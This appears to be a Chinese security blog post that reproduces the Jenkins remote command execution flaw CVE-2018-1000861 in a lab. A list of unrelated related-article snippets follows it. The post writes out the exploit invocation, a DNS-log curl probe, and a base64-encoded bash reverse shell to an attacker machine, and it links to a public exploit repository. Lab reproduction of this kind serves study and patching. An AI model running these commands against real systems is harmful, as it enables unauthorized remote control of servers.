Jenkins 远程命令执行漏洞 (CVE-2018-1000861)复现

article/2025/9/18 23:36:33

文章目录

        • 漏洞描述(介绍、成因)
        • 漏洞危害
        • 适用场景
        • 实验环境
        • 漏洞复现过程
          • 1、 开启docker环境
          • 2、通过dnslog检测漏洞是否存在
          • 3、监听端口
          • 4、利用exp获取反弹shell
        • 修复建议
        • 扩展知识(链接、文章)

漏洞描述(介绍、成因)

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

漏洞危害

  • 获取服务器权限
  • 获取敏感数据文件
  • 写入恶意文件getshell
  • 植入木马病毒勒索软件等

适用场景

  • Jenkins主版本 <= 2.153
  • Jenkins LTS版本 <= 2.138.3

实验环境

个人虚拟机

  • 攻击机:
    • Centos7 192.168.10.135
  • 靶机:
    • vulhub 192.168.10.128

漏洞复现过程

1、 开启docker环境

在这里插入图片描述

访问页面,http://192.168.10.128:8000/

在这里插入图片描述

2、通过dnslog检测漏洞是否存在
python exp.py http://192.168.10.128:8080 'curl mmjje4.dnslog.cn'

在这里插入图片描述

Dnslog存在回显,即存在漏洞

在这里插入图片描述

3、监听端口
nc -lvp 12333

在这里插入图片描述

4、利用exp获取反弹shell

1)通过base64加密命令
在这里插入图片描述

2)执行exp

python exp.py http://192.168.10.128:8080/ "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzNS8xMjMzMyAwPiYxIA==}|{base64,-d}|{bash,-i}"

在这里插入图片描述

3)成功反弹shell

在这里插入图片描述

修复建议

  • 升级到最新版本或打上相关补丁;
  • 尽量不要开放到公网上;
  • 限制IP访问。

扩展知识(链接、文章)

漏洞EXP:https://github.com/orangetw/awesome-jenkins-rce-2019

参考链接:【漏洞复现】Jenkins远程命令执行漏洞(CVE-2018-1000861)


注:本文章仅作技术学习作用,一切实验皆在个人虚拟环境下进行!!!


http://chatgpt.dhexx.cn/article/A6EPF20w.shtml

相关文章

VulnHub-STAPLER: 1-靶机渗透学习

靶机地址&#xff1a;https://www.vulnhub.com/entry/stapler-1,150/ 靶机难度&#xff1a;中级&#xff08;CTF&#xff09; 靶机描述&#xff1a;Stapler is reported to be one of several vulnerable systems that are supposed to assist penetration testers with challe…

【甄选靶场】Vulnhub百个项目渗透——项目十:stapler-1(文件上传,多方式提权)

Vulnhub百个项目渗透 Vulnhub百个项目渗透——项目十&#xff1a;stapler-1&#xff08;文件上传&#xff0c;多方式提权&#xff09; 靶场环境 &#x1f525;系列专栏&#xff1a;Vulnhub百个项目渗透 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&…

vulnhub靶机:Stapler

文章目录 0x000x01 靶机安装0x02 靶机发现0x03 端口探测0x04 信息收集端口21&#xff1a;FTP服务端口22&#xff1a;SSH服务端口80&#xff1a;HTTP服务端口139&#xff1a;SMB服务端口666&#xff1a;未知服务端口3306&#xff1a;MySQL服务端口12380&#xff1a;HTTP服务 0x0…

实战打靶集锦-006-Stapler

**写在前面&#xff1a;**记录博主的一次打靶经历。 目录 1. 主机发现2. 端口发现3. 服务枚举4. 服务探查4.1 FTP探查4.1.1 匿名登录4.1.2 Elly用户4.1.3 John用户4.1.4 EXP搜索 4.2 dnsmasq探查4.2.1 基础信息获取4.2.2 EXP搜索 4.3 WEB应用探查4.3.1 浏览器访问4.3.2 目录扫描…

Stapler: 1

Stapler: 1 项目地址&#xff1a;https://www.vulnhub.com/entry/stapler-1,150/ 文章目录 Stapler: 1一、信息收集&#xff1a;1. 靶机地址获取&#xff1a;2. 收集端口服务信息&#xff1a; 二、信息利用1. 针对12380端口进行web目录枚举&#xff1a;1.1 访问&#xff1a;ph…

No.10-VulnHub-Stapler: 1-Walkthrough渗透学习

** VulnHub-Stapler: 1-Walkthrough ** 靶机地址&#xff1a;https://www.vulnhub.com/entry/stapler-1,150/ 靶机难度&#xff1a;中级&#xff08;CTF&#xff09; 靶机发布日期&#xff1a;2016年6月8日 靶机描述&#xff1a;Stapler is reported to be one of several v…

Stapler:1 靶机渗透测试-Vulnhub(STAPLER: 1)

Stapler&#xff1a;1&#xff08;STAPLER: 1&#xff09;靶机渗透-Vulnhub 一、IP端口探测二、端口信息收集1.ftp匿名登录2.OpenSSH漏洞查询3.80端口4.666端口5.SMB枚举6.12380端口 二、边界突破1.video插件文件包含2.修改wordpress数据库管理员密码3.上传webshell 三、提权总…

Stapler#攻略

写在前面&#xff1a;前人栽树后人乘凉&#xff0c;谢谢网上各位大佬的解题思路作为参考学习&#xff1b; 一、实验准备 1、实验地址&#xff1a; Stapler: 1 ~ VulnHub 2、下载之后&#xff0c;本地解压&#xff0c;用VMware运行该虚拟机&#xff1b; ​ 3、设置stapler与攻击…

Stapler-1靶场详细教学(7种漏洞利用+5种提权)

目录 前言 简介 信息收集 0x00 主机发现 0x01 端口探测 0x02 信息收集-1 0x03 信息收集-2 0x04 漏洞利用-1 0x05 信息收集-3 0x06 漏洞利用-2 0x07 漏洞利用-3 0x08漏洞利用-4 0x09 漏洞利用-5 0x10 漏洞利用-6 0x11 漏洞利用-7 提权 0x12 提权-1-内核提权 0…

CSDN开通博客

今天想写博客&#xff0c;却发现没有开通博客页面没有发现验证码&#xff0c; 后来点击验证码输入框&#xff0c;验证码才出来。真是失策&#xff0c;我觉得还是在刷新页面的时候就显示验证码就好了。

【JavaScript 逆向】数美滑块逆向分析

声明 本文章中所有内容仅供学习交流&#xff0c;相关链接做了脱敏处理&#xff0c;若有侵权&#xff0c;请联系我立即删除&#xff01; 案例目标 验证码&#xff1a;aHR0cHM6Ly93d3cuaXNodW1laS5jb20vbmV3L3Byb2R1Y3QvdHcvY29kZQ 以上均做了脱敏处理&#xff0c;Base64 编码及解…

个人总结 - JS逆向解析

目前加密的方式总结有下面几点&#xff1a; 对称加密&#xff08;加密解密密钥相同&#xff09;&#xff1a;DES、DES3、AES 非对称加密&#xff08;分公钥私钥&#xff09;&#xff1a;RSA 信息摘要算法/签名算法&#xff1a;MD5、HMAC、SHA 前端实际使用中MD5、AES、RSA&a…

【JavaScript 逆向】抖店滑块逆向分析

声明 本文章中所有内容仅供学习交流&#xff0c;相关链接做了脱敏处理&#xff0c;若有侵权&#xff0c;请联系我立即删除&#xff01; 案例目标 接口&#xff1a; aHR0cHM6Ly93d3cuZG91eWluLmNvbS9hd2VtZS92MS93ZWIvdXNlci9wcm9maWxlL290aGVyLw 以上均做了脱敏处理&#…

MAC 逆向APK

准备逆向工具 apkTool 、apkTool.jar 、dex2Jar稳定版 &#xff08;不要下载最新的2.0或者2.1 最新的dex2jar 运行会报错&#xff09;、JUI 查看代码结构 &#xff08;1&#xff09; apkTool 、apkTool.jar&#xff1a;Apktool - How to Install 上面这段话是&#xff1…

java逆向_Java逆向入门(一)

Java是一门"半编译半解释"型语言.通过使用jdk提供的javac编译器可以将Java源码编译为Java虚拟机(Java Virtual Machine, JVM)可读的字节码(bytecode),即*.class文件. 学习字节码可以使你更好的理解Java虚拟机的行为,甚至对学习其它基于Java虚拟机的语言(如:Scala,Clo…

Android逆向基础——APK的格式

Android 安装包常以apk&#xff08;android Package&#xff09;、xapk为后缀&#xff0c;本质是一个压缩包&#xff0c;包内存存放运行着应用程序安装必要的所有资源、代码。可直接修改后缀为zip解包。 解包后目录大致如下&#xff1a; assets 资源文件&#xff0c;通过cont…

JS逆向笔记-记录某测试论坛的js逆向练习

这个网站应该是专门练习的&#xff0c;因为有个地方说不太通&#xff0c;在此只能算是练习&#xff0c;记录下&#xff0c;方便以后进行查阅。 首先访问主页&#xff1a; 他会设置一个cookie值&#xff0c;并且会把加密的salt 带出来。还有个叫lt的东西也会用html的形式传出来。…

Matlab逆向归纳法,逆向归纳法

逆向归纳法(backward induction)是求解动态博弈均衡的方法 [编辑] 什么是逆向归纳法 逆向归纳法(backward induction)是求解动态博弈均衡的方法。所谓动态博弈是指博弈参与人的行动存在着先后次序&#xff0c;并且后行动的参与人能够观察到前面的行动。逆向归纳法在逻辑上是严密…

逆向工程

逆向工程 数据库部分逆向工程说明导入文件 reverseProject添加相应jar包修改这个工程三个 .xml 文件都要修改的地方修改generatorConfig.xml文件 工程终点-运行GeneratorSqlMap.java文件 在使用mybatis时需要根据数据表创建实体类&#xff0c;pojo类的映射文件以及sql语句和Dao…

逆向 实战

逆向实操 汇编 《汇编语言》,王爽 《天书夜读》邵坚磊等 《Intel汇编指令集手册》 基础 学习汇编的原则 不推荐写纯汇编程序,一般都是通过_asm{}方式嵌入部分汇编代码学习汇编的目的是:解底层&#xff0c;调试&#xff0c;逆向分.c-编译->.s-汇编→.o(linux平台)/.obj(wi…